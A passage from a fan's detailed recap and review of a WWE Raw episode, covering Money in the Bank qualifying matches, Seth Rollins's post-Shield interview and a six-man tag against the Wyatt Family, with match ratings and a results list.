However we still need a WWE Champion, so at Money in the Bank we’ll have a WWE Championship ladder match. The participants will be determined by a series of qualifying matches. Stephanie says the first qualifying match took place on Smackdown (it was on Raw) so Alberto Del Rio is in. HHH says Randy Orton is in as well because he deserves it. They’ve been saying it since Wrestlemania, but now this is proof: Daniel Bryan isn’t WWE Championship material.

HHH isn’t done yet as he rants about telling Shield to adapt or perish but only Seth Rollins listened to what he said. We get a video of the turn last week, which still took place after Shield beat Evolution twice in a row. As for tonight, Ambrose and Reigns will be in a six man tag match against the Wyatt Family. They need to find a partner though, which might be tough after they spent a year running roughshod over the entire locker room. However, they need to adapt or they’ll perish.

Money in the Bank Qualifying Match: Sheamus vs. Bad News Barrett

Non-title. Barrett takes him into the corner to start but gets run over with a clothesline. Sheamus is sent out to the floor and Barrett follows it up with a shoulder block off the steps. Back in and Sheamus takes him down again before hitting the ten forearms. A middle rope knee drop misses and Barrett kicks him in the face, only for a running cross body from Sheamus to put both guys on the floor.

Back from a break with Sheamus in a chinlock before Barrett drops an elbow for two. Sheamus fights up but runs into a knee to the head, only to avoid the low superkick and get two off the Irish Curse. Winds of Change gets the same for Barrett but he walks into the tilt-a-whirl powerslam for two. Sheamus loads up the Brogue but Barrett rolls to the floor, only to have Sheamus dive off the top. It’s a bad move though, as Barrett steps to the side and Sheamus crashes into the barricade.

He beats the count back in at nine and kicks out of Wasteland at two. The Bull Hammer is countered into White Noise for a very close two but Barrett counters the slingshot shoulder with a headbutt. He kicks Sheamus in the head over and over before ramming Sheamus shoulder first into the post twice in a row. Another series of kicks to the head in the corner….set up the Brogue Kick out of nowhere for the pin for Sheamus at 13:12.

Rating: B-. As this whole thing was going on, I was saying to myself “and then Sheamus hits a Brogue Kick out of nowhere for the pin”, and that’s exactly what happened. How did I know that was going to happen? Because that’s what always happens. At least the stuff before the ending was good. Also are we just going to forget about Sheamus’ head injury from before Payback?

The Wyatts pop on screen and says people were supposed to forget about them. Bray says he’s been reborn, despite only being gone eight days and making an appearance on Smackdown in between.

Lana comes out and makes fun of Obama for being a weak man. We get a video of I’m assuming the real Obama working out with some very light weights. Lana compares him to Putin who is known to be in good shape and trains in martial arts. We get a rather disturbing picture of a shirtless Putin on a horse which I’ve seen before and is still just as disturbing.

Rusev vs. Zack Ryder

Forearms to the back of the head, the running superkick and the Accolade end Ryder at 1:03.

Ryback/Curtis Axel vs. Goldust/R-Truth

Truth gets attacked to start but he escapes for the hot (?) tag less than a minute in. Goldust cleans house and hits the snap powerslam on Axel. Ryback comes in and the spinning cross body takes out both he and Curtis as Cody is watching in the back. Truth is thrown to the floor and Goldust nails a spinebuster on Ryback. Axel sneaks in from behind though and rolls up Goldust for the pin with a handful of tights for the pin at 2:20.

Layla is getting her makeup done while insulting the people of Minneapolis, including hometown girl Summer Rae. Summer comes up behind her and pours milk over her before ramming Layla into various things.

3MB is in the ring but here come Ambrose and Reigns. The beating is on and they fight up the aisle with Reigns hitting a spear to Slater completely off screen. It looked like a camera error as they were looking at the crowd for a long stretch of time. Thankfully the replay shows a good shot of it.

Ambrose says the Shield was going to go down as one of the best groups ever. They dominated WWE and everyone in it, including Evolution. The team was healthy on the surface but there was a cancer inside them called Seth Rollins. Ambrose says he’ll get the chance to rearrange Rollins’ face by moving his nose over to his one ear (“because you’ll only have one left”) and that they’ll beat Rollins up. I like how simple that last line was.

Reigns very casually (not a bad thing) says Seth committed the most unforgettable sin. After he gets done with Rollins, Reigns is coming for Orton so he can mess up the face of the WWE. Then he’s coming for HHH. When he gets his hands on the King of Kings, they’ll have their own Game of Thrones.

Seth Rollins will break his silence tonight, despite talking on Smackdown.

Usos vs. Fandango/Damien Sandow

Damien comes out in what looks like long underwear and a streamer for what’s described as “interpretive dance.” Layla still has milk on her because WWE doesn’t have towels. Fandango cranks on Jimmy’s arm to start but Jimmy comes back with the dancing right hand. Off to Damien and the dancing begins. Sandow takes Jimmy over with a headlock before dancing around. Jimmy JUMPS up for a superkick before knocking Fandango off the apron. Jey hits the Superfly Splash for the pin on Sandow at 2:24.

Bo Dallas vs. Xavier Woods

Dallas says the way for Bryan to get back sooner than later is to BOLIEVE! Woods gets caught in a headlock to start but hiptosses Bo down to escape. A knee to the ribs drops Woods again but he sends Dallas into the buckle, only to springboard into something like a spear. The Bodog is good for the pin at 2:30.

Bo tells Woods to never quit after the match.

Back from a break with Paul Heyman in the ring and talking about the same thing he’s talked about every night since Wrestlemania. Tonight he’s here to introduce the next WWE World Heavyweight Champion, who is coming off his history making moment at Wrestlemania……CESARO! Heyman was teasing Lesnar if that wasn’t clear.

Money in the Bank Qualifying Match: Cesaro vs. Rob Van Dam

Rob quickly takes him down for two before walking into a tilt-a-whirl powerslam for two. The monkey flip and top rope kick to the face send Cesaro to the floor and a flip dive drops him again as we take a break. Back with Cesaro cranking on a chinlock and throwing RVD out to the floor. They head back inside for another chinlock before Rob nails the spinwheel kick and a clothesline to take over. Cesaro misses a charge in the corner and the split legged moonsault gets two.

Van Dam tries to speed things up a bit too much though and gets caught by Swiss Death out of the corner for an even closer near fall. A powerbomb gets two more for Cesaro but he gets kicked down and nailed with Rolling Thunder. Back up and Rob nails another spinning kick in the corner but gets crotched down for his efforts. Cesaro wraps the leg around the post before Neutralizing RVD for the pin at 10:50.

Rating: C+. Good but not great match here. WWE is really getting into a funk with how they do every kind of match and you can see it here very clearly. They just kept trading their signature stuff until the winner hit a finisher for the pin. That’s almost the same formula you see in every upper midcard match and it’s getting a bit annoying.

We recap the Authority and Shield’s promos from earlier.

Michael Cole brings out Seth Rollins, now with his own music and in a suit, for a sitdown interview. Rollins says he doesn’t understand the controversy behind what he did because he was looking out for his own business. He takes credit for creating the Shield and says the other two have no right to claim any of its success. Ambrose would be face first in a ditch without him and Reigns needs someone to focus his aggression.

Cole asks about the Shield being three individuals instead of one man. Rollins says we’ll see about that tonight. He took Shield to the top and that brings us to Payback. Rollins learned from Evolution that you have to evolve and adapt. The fans say he sold out but he says he bought in to the evolution of Seth Rollins. Rollins brags about the guts it took last week but people are fixated on how he turned on his brothers. Seth says they were just business partners and he severed those connections.

For two years, Rollins put his fist out and said believe in the Shield. What he really meant was that everyone should believe in Seth Rollins. That’s all for the explanation, so now where are Ambrose and Reigns to do what they promised? Here they come and Rollins takes off his tie but we’ve got Wyatts. The lights come back on and the Family is in the ring for the fight. Bray is nowhere in sight but Rollins comes back inside….just as Rollins and Harper are sent outside. Bray and the Family come back in for the save but Cena comes out for the real save, apparently becoming the third man for the tag match later.

Paige vs. Alicia Fox

Non-title and Alicia has Aksana in her corner. Paige quickly heads outside to go after Aksana and gets dropkicked off the apron as a result. Fox puts on a chinlock and yells a lot before hitting a tilt-a-whirl backbreaker for two. Paige counters a side slam with a headscissors out of the floor as Cole describes Fox as a “mood ring maker’s dream.” Back in and Paige fires off a bunch of clotheslines followed by a bad looking running dropkick for two. Aksana yells a lot so Paige throws Fox into her, setting up the PTO on Fox for the submission at 4:56.

Rating: D+. This was sloppy at times but not horrible. Fox’s push is pretty much done as she keeps losing every match she’s in, making the character development rather worthless. She does look good in the shorts though. Paige getting another win on TV is good for her though as she can keep dominating until someone is built up to beat her.

Fox beats up Aksana post match before stealing water and popcorn from fans to pour on Aksana. She feeds some to Aksana against her will and that’s about it. JBL calling for anyone from Jesse Ventura to the Gagnes to help them made me chuckle.

Santino Marella vs. Jack Swagger

Marella escapes an early powerslam attempt and sends Jack out to the floor with a forearm. Colter slaps Swagger in the face and Jack is all fired up, to the point that he misses a charge into the post. Thankfully he blocks the Cobra and hits the gutwrench powerbomb for the pin at 1:57.

Cody Rhodes tells Goldust that he’s found the perfect partner for him. Next week, Goldust’s partner will magnify his star power. No word on who it is.

We look at Stephanie stripping Bryan of the title and announcing Money in the Bank being for the title.

Stephanie is annoyed at Cena for getting in her business two weeks in a row. Vickie Guerrero comes in with champagne for the two of them because Brad Maddox and Daniel Bryan are both gone. She sneezes on Stephanie and gets thrown out with a threat of being fired again.

Dean Ambrose/Roman Reigns/John Cena vs. Wyatt Family

It’s a brawl to start until we officially gets going with Ambrose hammering away on Rowan. Dean cleans house and even dives on Harper for good measure. Back in and Dean dropkicks Erick down before the tag brings in Reigns to pound away as well. Rowan finally gets in a shot of his own and makes the tag to Harper, who can’t quite suplex Roman. Instead Reigns suplexes him down for two before driving Harper into the corner for the tag to Ambrose.

The Wyatts take over on Dean with Bray shouting at him to come on. Dean is taken to the floor where he’s able to send Rowan into the steps for a breather. Back in and Harper easily takes him down again and cranks on a chinlock as the dueling Cena chants begin. We come back from a break with Rowan hitting a big side slam on Ambrose before it’s back to Bray for his usual theatrics.

Ambrose gets a boot up to stop a charging Wyatt and the hot tag finally brings in Cena. John hammers away but the Family takes over on him as well via a boot to the face. Back to Bray for the running backsplash for two and Bray laughs a lot. Harper hits a rack neckbreaker for two more and a Michinoku Driver gets the same. Bray pounds in a few right hands and headbutts before taking him back inside for the dancing spot.

The suplex slam gets two before Cena finally gets over for the real hot tag to Reigns. Roman cleans house with all of his signature spots as everything breaks down. Reigns does Cena’s ProtpBomb for two on Harper before Cena cross bodies Rowan down. Bray hits the Sister Abigail on Cena but walks into the Superman Punch. Rowan is thrown outside as well, setting up the suicide dive from Ambrose. A superkick (good one too) gets two for Harper but he walks into the spear for the pin at 20:46.

Rating: B-. This was a nice bit of storytelling with the Shield losing Rollins but finally being able to beat the one team that had eluded them in their reign of dominance. Reigns continues to look awesome and Ambrose has more charisma than he knows what to do with. Not a great match but it more than did what it was supposed to do.

Rollins and HHH look on from the back to end the show.

Overall Rating: C+. This wasn’t a great show but it did some of the things WWE has needed to do. Rollins’ promo was good and explained his mindset, but it still doesn’t make a ton of sense. He wants all of the credit for Shield’s success. That’s fine, but I don’t get why you join a team of losers to get that. Wouldn’t it make more sense to just go out on your own because you don’t need them?

The rest of the show was solid enough with some matches that went by too fast to really be bad. Money in the Bank is shaping up and hopefully there’s only one ladder match this year. I’m not wild on Cena vs. the Wyatts continuing but the upcoming PPV could change a lot of things. The show went by quickly tonight and nothing was horrible so I’m pleased.

Results
Sheamus b. Bad News Barrett – Brogue Kick
Rusev b. Zack Ryder – Accolade
Curtis Axel/Ryback b. Goldust/R-Truth – Rollup to Goldust
Usos b. Fandango/Damien Sandow – Superfly Splash to Fandango
Bo Dallas b. Xavier Woods – Bodog
Cesaro b. Rob Van Dam – Neutralizer
Paige b. Alicia Fox – PTO
Jack Swagger b. Santino Marella – Gutwrench powerbomb
Dean Ambrose/Roman Reigns/John Cena b. Wyatt Family – Spear to Harper

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